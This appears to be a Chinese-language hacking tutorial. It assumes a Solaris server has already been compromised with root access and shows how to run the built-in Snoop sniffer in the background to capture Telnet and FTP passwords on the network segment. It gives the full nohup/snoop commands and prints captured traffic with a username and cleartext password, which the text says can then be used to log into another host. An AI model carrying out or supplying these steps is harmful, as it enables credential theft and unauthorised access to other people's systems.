假设我们已经通过某种方法成功的攻人了
Solaris
主机
202.11.22.33
(本文隐藏了实际
IP
地址,下同)并且获得这台主机上的最高
root
权限。那么,现在我们就可以在这台主机上使用
Sniffer
来嗅探此网段上传输的密码。
1.Snoop
简介
在
Solaris
系统中有一个默认安装的
Sniffer
软件叫做
Snoop
,所以没有必要重新安装其他的
Sniffer
了,可以直接使用
Snoop
来进行嗅探。下面简要介绍一下
Snoop
的使用方法。
Snoop
是一个命令行的软件,它的使用方法为:
Snoop
[选项][过滤条]
其中选项包括:
[
-a
]#
在
audio
上监听
[
-d device
]#
设置的监听设备
[
-s snaplen
]#
将包截短
[
-c count
]#设置捕获包的数量
[
-P
]#关闭混杂模式
[
-D
]#
报告掉包
[
-S
]#报告包大小
[
-i file
]#从文件读人记录
[
-o file
]#把捕获情况存人文件
[
-n flle
]#从文件读人域名表
[
-N
]#
创建域名表
[
-t r|a|d
]#设置时间,可以为相对或绝对时间
[
-v
]#详细的包信息显示
[
-V
]#显示所有包信息
[
-p first[,last]
]#显示指定的包
[
-x offset[
,
length]
]#
显示
16
进制数据
[
-C
]#
显示包过滤码
其中最常用的选项是
-o
和
-c
,通过一
o
选项可以把捕获情况输出到一个文件中,否则会显示在屏幕上。通过
-c
可以设置要捕获包的数量,否则就会无限制地捕获传输的包。
Snoop
的重点在于设置过滤条件,所谓过滤条件就是我们要捕获什么样的包,因为以太网上传输的数据量一般是相当大的,所以不能捕获所有传输的包,否则会无法找到我们要的信息,于是我们就设置一个过滤条件,只捕获我们要的包,例如含有密码的包。
过滤条件主要包括
from
、
to
、
net
和
port
。其中
from
是指从特定主机发送过来的包,
to
是指发送到特定主机的包,
net
是来自或发往特定网络的包,
port
是指来自或发往特定端口的包。这些过滤条件可以通过
and
(且关系)、
or
(或关系)和
not
(非关系)来进行组合。例如,下面
Snoop
命令捕获所有来自
192
.
168
.
3
.
12
地址的
DNS
和
NFS
包:
snoop from 192.168.3.12 port domain or rpc nfs
2 . SnooP ***实例
假设我们已经通过某种方法成功的攻人了
Solaris
主机
202
.
11
.
22
.
33
(本文隐藏了实际
IP
地址,下同)并且获得这台主机上的最高
root
权限。那么现在我们就可以在这台主机上使用
Snoop
来嗅探此同段上传输的密码。
首先我们使用
find
命令查找一下此主机上的
Snoop
安装在哪里:
#
find
/
-name snoop -print
/
usr
/
sbin
/
snoop
因为我们的目的是捕获网络上传输的密码,所以我们要设置
Snoop
的过滤选项来捕获网络上所有的
telnet
和
ftp
包,使用下面的命令:
#nohup /usr/sbin/snoop -o slog -c 10000 port
telnet or port ftp&
我们使用
nohup
和
&
来把
Snoop
挂在后台运行,这样,当我们从终端退出的时候,
Snoop
仍然可以在后台运行。并且我们使用
-o
把嗅探结果保存在文件
slog
里,使用
-c
选项来设置一共捕获
10000
个包,以免捕获数据量太大而占据硬盘空间。
port telnet or ftp
就是过滤选项,它设置只捕获
Telnet
和
FTP
包,因为这两种协议都使用密码验证而且密码不加密。
然后我们就可以退出登录,第二天再次登录上这台主机,可以看到当前目录下有一个
slog
文件,这就是嗅探结果。但是要注意这个文件不是文本文件,不能使用
cat
命令直接查看,必须用
Snoop
的
-i
选项来查看,使用如下命令:
#/usr/sbin/snoop -i slog |more
这里,我们使用
more
来一点一点查看,发现
输出中有以下片段:
gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924
202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924
gi-12-107.bta.net.cn->202.11.22.68 FTP C POrt=1924
202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924
220 202.11.22.68
gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924
gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924
USER bode\r\n
202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924
202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924
331 Password require
gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924
gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924
PASS zhangjm\r\n
202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924
202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924
230 user bode logged
gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924
通过上面的记录我们可以看到,来自
gi-12-107.bta.net.cn
的用户使用
FTP
登录上了
202.11.22.68
主机,它使用的用户名为
bode
,密码为
zhangjm
。于是我们就可以使用这个用户名和密码来登录上
202.11.22.68
了。